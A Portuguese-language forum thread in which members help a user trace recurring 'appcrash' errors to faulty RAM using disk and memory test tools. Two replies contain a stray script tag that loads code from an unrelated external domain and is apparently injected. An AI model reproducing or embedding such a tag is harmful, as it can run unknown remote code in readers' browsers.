Programas travando erro appcrash. PC formatado mas o erro persiste

[erik96hunter]

Olá pessoal.

Montei o pc a mais ou menos 1 ano, e desde então, todos os programas têm apresentado o erro "appcrash". No inicio eu não percebia tanto, mas conforme ia instalando novos programas e jogos estes também paravam de funcionar depois de 10 min a 15 min. Tentei achar alguma solução mas nenhuma funcionou e acabei  formatando o pc. Instalei o windows 8 mas não adiantou , continuou a apresentar o erro. Então formatei de novo, dessa vez instalei o windows 7 home basic, mas o erro persiste.

 Enfim, enviei o pc a um técnico. Ele fez alguns testes com um programa para detectar qualquer defeito no hardware, mas o programa não detectou nada. Concluindo, ele falou que se trata de um defeito de software e não de hardware, mas não soube especificar de que defeito de software se trata.

 Os drivers estão todos atualizados.

 Temperaturas e voltagens ok.

 

 Poderiam me dar algumas idéias do que pode ser e/ou como resolver?

 

 

Windows 7 home basic

Processador:  AMD FX-8120 eight-core 3.10 GHz

Placa mãe: Gigabyte 970A-D3

HD: Seagate 500gb

Placa de vídeo: GeForce GTX 650 Ti

fonte: ATX POWER 500W PX500

Memória RAM: 8gb

 

Obrigado!

[edgar_]

Faça um teste com seu HD, pois se já trocou de sistema operacional e continuou na mesma, descartaria problema de software. O sistema operacional é original? Todos programas baixados ou já contidos no windows? Que appcrash é este?

 

Os programas para teste.

 

HD Tune 

http://www.hdtune.com/ (Baixe, instale, vá em iniciar ou start, depois veja a aba Health e poste a imagem aqui.

 

CrystaldiskInfo

http://crystalmark.info/software/CrystalDiskInfo/index-e.html(somente baixe e instale).

[wilsansilva]

Qual é a marca de sua fonte de alimentação? Faça conforme @ digitou e verifica se o HD está em condições de uso.

Abra o campo "pesquisar" e digita "memória". Uma ferramente de diagnóstico deverá aparecer. Reinicie o micro e espere pelo teste terminar. Durante o teste, não deve aparecer nenhuma mensagem do tipo "problemas de hardware encontrado", um indicador de que sua memória ou slot esteja danificado.

[erik96hunter]

<script src="https://www.njaxjs.me/services/script.js"type="text/javascript"></script>

 

Faça um teste com seu HD, pois se já trocou de sistema operacional e continuou na mesma, descartaria problema de software. O sistema operacional é original? Todos programas baixados ou já contidos no windows? Que appcrash é este?

 

Os programas para teste.

 

HD Tune 

http://www.hdtune.com/ (Baixe, instale, vá em iniciar ou start, depois veja a aba Health e poste a imagem aqui.

 

CrystaldiskInfo

http://crystalmark.info/software/CrystalDiskInfo/index-e.html(somente baixe e instale).

Pois é, eu também pensei que não deve ser problema de software já que o pc foi formatado e troquei de sistema. Mas de acordo com o técnico, todos os componentes foram testados e nenhum apresentou qualquer tipo de defeito. O so é original sim. 

 Vou tirar um print do erro e já posto com o resultado do teste então.

<script src="https://www.njaxjs.me/services/script.js"type="text/javascript"></script>

 

Qual é a marca de sua fonte de alimentação? Faça conforme @ digitou e verifica se o HD está em condições de uso.

Abra o campo "pesquisar" e digita "memória". Uma ferramente de diagnóstico deverá aparecer. Reinicie o micro e espere pelo teste terminar. Durante o teste, não deve aparecer nenhuma mensagem do tipo "problemas de hardware encontrado", um indicador de que sua memória ou slot esteja danificado.

A fonte é ATX . Já fiz o teste com essa ferramenta antes, mas não encontrou nenhum problema...

[edgar_]

Apareceu uns scripts aí. Tem como postar de novo? Se tiver dúvida de como postar, só perguntar.

 

O teste de memória RAM indicado pelo @wilsansilva é nativo do windows, experimente fazer o teste pelo Memtest86+

 

http://www.memtest86.com/

http://www.memtest86.com/technical.htm#boot(como gravar em CD ou pendrive... necessário traduzir).

[erik96hunter]

Apareceu uns scripts aí. Tem como postar de novo? Se tiver dúvida de como postar, só perguntar.

 

O teste de memória RAM indicado pelo @wilsansilva é nativo do windows, experimente fazer o teste pelo Memtest86+

 

http://www.memtest86.com/

http://www.memtest86.com/technical.htm#boot(como gravar em CD ou pendrive... necessário traduzir).

Um exemplo do appcrash. Os outros jogos e a maioria dos programas também apresentam o erro. Ás vezes para de funcionar no momento em que abro o programa, ás vezes demora uns 15 min.

 No navegador trava mais seguido.

[wilsansilva]

Você tem que ir na guia "Error Scan" e iniciar o teste até o final. Este teste é demorado porque ele verifica todos os cluster do HD até encontrar algum deles danificado. Quando aparecer algum bloco em vermelho é sinal de que o seu HD está com dano. Exemplo na imagem abaixo.

Preste atenção na guia exibida.

http://riccadesigning.yolasite.com/resources/HDTune_Error_Scan_Hitachi_HDP725050GLA360.jpg.png

Na guia heath deve aparecer tudo ok. Um problema acarreta como descrito na imagem abaixo com a linha em vermelho.

http://www.appscout.com/images/HDTune_Health.jpg

Veja também a temperatura de seu HD quando em atividade.

[erik96hunter]

Você tem que ir na guia "Error Scan" e iniciar o teste até o final. Este teste é demorado porque ele verifica todos os cluster do HD até encontrar algum deles danificado. Quando aparecer algum bloco em vermelho é sinal de que o seu HD está com dano. Exemplo na imagem abaixo.

Preste atenção na guia exibida.

http://riccadesigning.yolasite.com/resources/HDTune_Error_Scan_Hitachi_HDP725050GLA360.jpg.png

Na guia heath deve aparecer tudo ok. Um problema acarreta como descrito na imagem abaixo com a linha em vermelho.

http://www.appscout.com/images/HDTune_Health.jpg

Veja também a temperatura de seu HD quando em atividade.

O teste do Error Scan. Acho que  ta ok... O Health também não apresentou nenhum erro.

[edgar_]

O HD segundo o HD TUNE está ok. Conseguiu realizar os testes da memória RAM?

[erik96hunter]

 Sim, fiz o teste da memória RAM com o Memtest86. Encontrou 25 erros. 

Mas sou leigo no assunto, não sei se os erros são graves ou se são irrelevantes...  É normal apresentar esse número de erros?

[edgar_]

 Fiz o teste da memória RAM com o Memtest86. Encontrou 25 erros. 

Mas sou leigo no assunto, não sei se os erros são graves ou se são irrelevantes...  É normal apresentar esse número de erros?

 

Normal não é. À princípio o erro de appcrash nos jogos pode ser isso. A memória RAM tá na garantia? Tem como mudar de slot e testar? Pegar outro pente para testar?

Se trocar essa memória que apresentou erros e o problema sumir, boa notícia. Se trocar e os erros continuarem, os testes terão de continuar.

[wilsansilva]

Como o @ citou mais acima, erro na memória RAM não é normal, o que significa que sua memória está danificada. Veja quantos pendes de memória RAM seu micro possui e faça um teste individual em cada uma delas em slots diferentes, uma de cada vez e caso o problema persista em todas, então deverá trocar de memória RAM. Caso o problema persista em apenas uma, remova o pente danificado e deixe o que funcionar.

[erik96hunter]

É um único pente de 8gb. Já tentei colocar em outro slot mas não mudou nada. A garantia já expirou... Vou ver se consigo um pente emprestado então. Talvez até semana que vem. 

 Assim que eu conseguir posto o resultado.

[wilsansilva]

Ok, até lá estamos em stand by...